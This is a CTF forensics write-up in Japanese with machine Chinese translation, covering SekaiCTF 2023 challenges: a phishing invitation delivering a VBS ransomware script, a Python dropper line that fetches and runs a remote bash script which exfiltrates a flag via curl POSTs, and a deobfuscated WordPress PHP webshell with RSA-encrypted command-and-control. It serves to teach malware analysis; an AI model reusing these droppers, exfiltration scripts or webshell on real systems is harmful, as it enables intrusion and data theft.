SekaiCTF 2023 Writeup

WriteUp 1年前 (2023) admin
592 0 0

[Forensics] DEF CON Invitation
[取证] 德夫康邀请函

eml形式のメールが与えられる。 您将收到一封EML格式的电子邮件。
若干危なそうな要素があるらしいので、警告に従い、VM内で解析することにする。
似乎有一个稍微危险的元素,所以我将按照警告并在 VM 中对其进行分析。

中を見ると、base64エンコードされたHTMLメールとdc31-invite.icsという添付ファイルが入っている。
在里面,你会看到一个base64编码的HTML电子邮件和一个名为dc31-invite.ics的附件。

HTMLメールは特に気になる部分はない。  HTML邮件并不是特别令人担忧。
icsファイルの中身にいくつかURLがある、何か攻撃が発展できそうな部分を探すと、
如果您在 ics 文件中查找一些 URL,其中可能会发展一些攻击,

https://ほにゃらら/defcon-nautilus/venue-guide.htmlに以下のような部分がある。  https://ほにゃらら/defcon-nautilus/venue-guide.html 具有以下部分。

 <script>
        const ror = (message) => {
          const foo = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
          const bar = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
          return message.replace(/[a-z]/gi, letter => bar[foo.indexOf(letter)])
        }

        async function dd(dataurl, fileName) {
                const response = await fetch(dataurl);
                const blob = await response.blob();

                const link = document.createElement("a");
                link.href = URL.createObjectURL(blob);
                link.download = fileName;
                link.click();
        }
    
    window.onload = function() {
          const downloadButton = document.getElementById("downloadButton");
          downloadButton.onclick = function() {
            dd(ror('[REDACTED]'), ror('[REDACTED]').split("").reverse().join(""));
          }
    };
  </script>

[REDACTED]部分にエンコードされた文字列が入っている。
[REDACTED] 包含编码字符串。

dd関数の役目としては、ファイルをダウンロードさせるような役目がある。
dd 函数的作用是下载文件。

まじめにやってもいいが、dd関数の引数だけ取り出してconsole.logで持ってくると以下のようなURLからファイルを持ってきていた。
您可以认真地执行此操作,但是当我只取出 dd 函数的参数并将其带入控制台.log时,我从以下 URL 中获得了一个文件。

https://ほにゃらら/defcon-nautilus/venue-map.png.vbs
更に持ってくると、800行のvbsスクリプトが降ってくる。
如果你带更多,你会得到800行VBS脚本。

リテラルをさっと眺めると、ランサムウェアっぽい。
快速浏览一下字面看起来像勒索软件。

まじめに読むのは骨が折れそうなので、部分的に動かしながら頑張る。
认真阅读会很痛苦,所以我在部分移动它的同时尽力而为。

最後の行のExecuteの中身を動かして文字列化すると、とある接続先にjsonを送るスクリプトになっている。
如果将 Execute 的内容移到最后一行并将其转换为字符串,则它是一个将 json 发送到某个连接目标的脚本。

見ながら動かしてみる。  尝试在观看时移动它。

$ curl -X POST 'http://[REDACTED]/sendUserData' -d '{"username":"evilman"}' -H "Content-Type: application/json"
{"key":"compromised","msg":"Not admin!"}
$ curl -X POST 'http://[REDACTED]/sendUserData' -d '{"username":"admin"}' -H "Content-Type: application/json"
{"key":"02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY","msg":"Data compromised!"}

謎のkeyが得られる。 获得了一把神秘的钥匙。
次に、ewkjunfw変数に謎の文字列が代入されているので、ewkjunfw = Replace("68IlllIllIII…とデコードに使っているOwOwO関数を持ってきて、
接下来,由于将一个神秘的字符串分配给 ewkjunfw 变量, ewkjunfw = Replace("68IlllIllIII… 因此请带上您用于解码的 OwOwO 函数和

OwOwO(ewkjunfw)の結果を出力してみると、mediafireのURLが得られる。
OwOwO(ewkjunfw) 当我输出结果时,我得到了媒体火的URL。

ファイル名がdefcon.flag.png.XORedとなっていて、このファイルに対して先ほど得られたkeyをasciiとして解釈してXORするとPNGファイルとして復元でき、
文件名是defcon.flag.png。 它是异或的,如果将之前获得的密钥解释为此文件的 ASCII 和异或,则可以将其还原为 PNG 文件。

中にフラグが書いてある。  里面有一面旗帜。
pngファイルは大きすぎるので含まれないが、レシピはこんな感じ。
png 文件太大而无法包含,但配方如下所示。

file:///home/kali/tools/cyberchef/CyberChef_v9.55.0.html#recipe=XOR(%7B’option’:’UTF8′,’string’:’02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY’%7D,’Standard’,false)Render_Image(‘Raw’)

[Forensics] Eval Me [取证] 评估我

pcapngファイルとnetcatの接続先が与えられる。
您将获得与 .pcapng 文件和 netcat 的连接。

netcatの方をつないでみると  如果您连接网猫

$ nc chals.sekai.team 9000
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)

1 * 9

このように計算して答えを出していく問題が与えられる。
通过这种方式,您将获得一个计算并提出答案的问题。

一旦こっちは置いておいて、pcapngファイルを開いてみると前半はHTTPSで内容は分からないが、後半はHTTPで1byteずつhexを送っている。
暂且不谈,当我打开 pcapng 文件时,我不知道 HTTPS 中文件前半部分的内容,但在后半部分,十六进制在 HTTP 中每个发送 1 个字节。

特に得られる情報はなかったので、netcatの方のソルバーを書いて動かす。
由于没有获得特定信息,我编写了 netcat 求解器并运行了它。

from pwn import *

context.log_level = "debug"
p = remote("chals.sekai.team", 9000)

p.recvuntil(b':)')
p.recvuntil(b'\n')
for _ in range(100):
    p.recvuntil(b'\n')
    exp = p.recvuntil(b'\n')[:-1]
    p.sendline(str(eval(exp)))
    print(eval(exp))
p.interactive()

出力をぼーっと眺めていると 当我茫然地盯着输出时,

[DEBUG] Received 0xe bytes:
    b'correct\n'
    b'8 - 6\n'
[DEBUG] Sent 0x2 bytes:
    b'2\n'
2
[DEBUG] Received 0xf bytes:
    b'correct\n'
    b'10 - 7\n'
[DEBUG] Sent 0x2 bytes:
    b'3\n'
3
[DEBUG] Received 0x17c bytes:
    b'correct\n'
    b'__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True)\r' 
    b'#1 + 2                                                                                                                                                                                   \n'

途中でpythonで書かれたドロッパーが動く。 在路上,一个用蟒蛇写的滴管移动了。
実装を見透かしたような出力で、CTFerは各位こういうことには注意しないといけない。
对于似乎已经看穿了实现的输出,CTFer 必须小心这些事情。

さすがSekaiCTF、倫理観が備わっており以下のような安全なコードだった。
不出所料,SekaiCTF具有道德感,并且是这样的安全代码。

#!/bin/bash

FLAG=$(cat flag.txt)

KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

なるほど、flag.txtをs3k@1_v3ry_w0wを鍵としてXOR暗号化して送っている。
我明白了,标志.txt是使用 s3k@1_v3ry_w0w XOR加密作为密钥发送的。

これがpcapngの後半に残っていたHTTP通信である。
这是 pcapng 后半部分保留的 HTTP 通信。

なので、pcapngの後半のHTTP通信から、送信hexを持ってきて、この鍵でXORするとフラグが手に入る。
所以,从 pcapng 后半部分的 HTTP 通信中,带上带有此键的传输十六进制和 XOR 来获取标志。

https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Auto’)XOR(%7B’option’:’UTF8′,’string’:’s3k@1_v3ry_w0w’%7D,’Standard’,false)&input=MjANCjc2DQoyMA0KMDENCjc4DQoyNA0KNDUNCjQ1DQo0Ng0KMTUNCjAwDQoxMA0KMDANCjI4DQo0Yg0KNDENCjE5DQozMg0KNDMNCjAwDQo0ZQ0KNDENCjAwDQowYg0KMmQNCjA1DQo0Mg0KMDUNCjJjDQowYg0KMTkNCjMyDQo0Mw0KMmQNCjA0DQo0MQ0KMDANCjBiDQoyZA0KMDUNCjQyDQoyOA0KNTINCjEyDQo0YQ0KMWYNCjA5DQo2Yg0KNGUNCjAwDQowZg

いいForensicsのEasy問題。 取证的简单问题。

[Forensics] Infected [取证]感染

ランサムウェア被害が出たので調査する問題。  由于发生了勒索软件损坏而需要调查的问题。
pcapngファイルと、保全されたwordpressフォルダが与えられる。
您将获得一个.pcapng文件和一个保留的WordPress文件夹。

まずはpcapngファイルを眺めてみる。 首先,让我们看一下 pcapng 文件。
MIME Multipart Media EncapsulationでPOST /wp-includes/date.phpが変に呼ばれている気がする。
MIME 多部分媒体封装 POST /wp-includes/date.php 似乎叫得很奇怪。

/wp-includes/date.phpの中身を見てみるといかにも怪しい。
/wp-includes/date.php 看内容,很可疑。

すぐこれを見つけられたのは運が良かった。これが見つからないと一生解けないかも…
我很幸运能马上找到这个。 如果找不到这个,可能一辈子都解决不了……

ともあれ、変名しながら読むと以下のような感じ。  无论如何,如果您在更改名称时阅读它,它如下所示。

<?php

try {
    $attachment = $_FILES['file'];
    $fp = fopen($attachment['tmp_name'], "r");
    $raw_data = fread($fp,filesize($attachment['tmp_name']));
    $first_half = substr($raw_data, 0, strpos($raw_data, "..."));
    $second_half = substr($raw_data, strpos($raw_data, "...") + 3);
    $private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
}
catch (Exception $e) {
    die("");
}

$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}

if ($eval_code == "") {
    die("");
}
else {
    eval($eval_code);
}
?>

どれを使ってもいいが、pcapngファイルのtcp.stream eq 39にあるPOSTリクエストにある文字列を使って以下のようなデコードコードを書く。
您可以使用其中任何一个,但使用 pcapng 文件中 POST 请求 tcp.stream eq 39 中的字符串编写以下解码代码:

<?php
$input = "NjP3wIfHVc817BrGQ1Cz7HUFVlLcx43Bh8lZ/DStNdu0CTMsSWX69nyVjRyCoCpUNUqEawNH7EA6j3du5xuvJRwSwi0Gv68PoVZsuQsxI1Bqj085QZC/DbVpsfTBfifhd92BzdPFH31oK5zKqdCdeiEZk1ZcS9EjbOGvgtC+Z+suLi4wggJcAgEAAoGBALZnkIZBbQaCyIcrCi6A4SkexT/AJn5TwJ6ziXNZvGVfBfLD6FweWZQggep2dI7fPYPqn8BAmOg4/ILQzQt62jURLi2h9uxKnP8jyAG/A4I4iLhxFVxCfS2QW4qaVacmej6qYdXIl6NZs6dEOQFRG82nudrpfTLuLx8G1Vx4HVIRAgMBAAECgYBeEruvAj9AhGL3k3ME2ONHWd9RKcCwlnFZaC8TlsxbW86tjexg1iZNBxb53W3v4aLQTkll1esGmZ1hul6F9S5kISysag2LdPsZt9c3YpIHIkZ/1F2dV8tko9Q9MPxOk95ARLNdNcbwDptnasIJpZCKupzqBjF38rz7pUL03ceXgQJBANzoegBHft3iUVj8Jl2o8qPcVnggUvOnrdE6FGfZVT4crFpbEtzeYD71l/oK23dKHnWvoT12maJJGSOxLJxVCs0CQQDTYUoHpXLb3YdqU8UhLSotn/IJsykEXHa5ba2o3thrgo/OVScR/HmIz7T2IOfO1dzrFvmaXfx0CJKQcbptG6xVAkEAztvfCo3ojewUksgjQQcolyqHyhsysjjtOgQyAYDxIqWE+2NXCX4vECW4N4udMVo1paxdx4lcmivrH5IUHRxBbQJAH0Q+zQ6+BKOqCiJGAHhLyt/jz2d+47RBo4ADtfzwikaPuveBhfmQiJogrF+FqmSb/vIxDZJla0xxUYhhCQ6U2QJASe2clZFCZmlA/iI8j4xzmnipL6lUpBfR8gKo1u3eNHbJSy5gXx2e/KnjvbZrol2PpVz4Ydtk29uMpjkxuFbOfQ==";
$raw_data = base64_decode($input);
$first_half = substr($raw_data, 0, strpos($raw_data, "..."));
$second_half = substr($raw_data, strpos($raw_data, "...") + 3);
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}
echo $eval_code;

こんな感じでデコードすると以下が出てくる。 如果这样解码,将出现以下内容。

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";
openssl_private_decrypt($ae25f0, $decrypted, $pvk1);
$result = `{$decrypted} 2>&1`;
$encrypted = "";
$chunks = str_split($result, 116);
foreach ($chunks as $chunk) {
    openssl_public_encrypt($chunk, $tmp, $pbk1);
    $encrypted .= base64_encode($tmp).",";
}
echo $encrypted;

前半部分の復号化処理がさらに実行される。 进一步执行前半部分的解密过程。
なので、最終的には以下のphpコードでC2コマンドの入力が復元可能。
因此,最后,可以使用以下 php 代码恢复 C2 命令的输入。

<?php
$input = "hKcQ97ZRIWCFuhjPGSBBlcVUDRXHuWpKzVxF+iWYpfWMxm9PSM7dTIyDmgAqJtfrFqrP5FY9qm+3TpxFp5et8Gvvi8QWovN9kyyF0SX3g30zNlIDz4VshH1tB86zcgb3B3WDFlJ/+uF0SSa/M9BJ8F5qfWMAntfb9ER1CcEad8wuLi4wggJcAgEAAoGBALZnkIZBbQaCyIcrCi6A4SkexT/AJn5TwJ6ziXNZvGVfBfLD6FweWZQggep2dI7fPYPqn8BAmOg4/ILQzQt62jURLi2h9uxKnP8jyAG/A4I4iLhxFVxCfS2QW4qaVacmej6qYdXIl6NZs6dEOQFRG82nudrpfTLuLx8G1Vx4HVIRAgMBAAECgYBeEruvAj9AhGL3k3ME2ONHWd9RKcCwlnFZaC8TlsxbW86tjexg1iZNBxb53W3v4aLQTkll1esGmZ1hul6F9S5kISysag2LdPsZt9c3YpIHIkZ/1F2dV8tko9Q9MPxOk95ARLNdNcbwDptnasIJpZCKupzqBjF38rz7pUL03ceXgQJBANzoegBHft3iUVj8Jl2o8qPcVnggUvOnrdE6FGfZVT4crFpbEtzeYD71l/oK23dKHnWvoT12maJJGSOxLJxVCs0CQQDTYUoHpXLb3YdqU8UhLSotn/IJsykEXHa5ba2o3thrgo/OVScR/HmIz7T2IOfO1dzrFvmaXfx0CJKQcbptG6xVAkEAztvfCo3ojewUksgjQQcolyqHyhsysjjtOgQyAYDxIqWE+2NXCX4vECW4N4udMVo1paxdx4lcmivrH5IUHRxBbQJAH0Q+zQ6+BKOqCiJGAHhLyt/jz2d+47RBo4ADtfzwikaPuveBhfmQiJogrF+FqmSb/vIxDZJla0xxUYhhCQ6U2QJASe2clZFCZmlA/iI8j4xzmnipL6lUpBfR8gKo1u3eNHbJSy5gXx2e/KnjvbZrol2PpVz4Ydtk29uMpjkxuFbOfQ==";
$raw_data = base64_decode($input);
$first_half = substr($raw_data, 0, strpos($raw_data, "..."));
$second_half = substr($raw_data, strpos($raw_data, "...") + 3);
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8R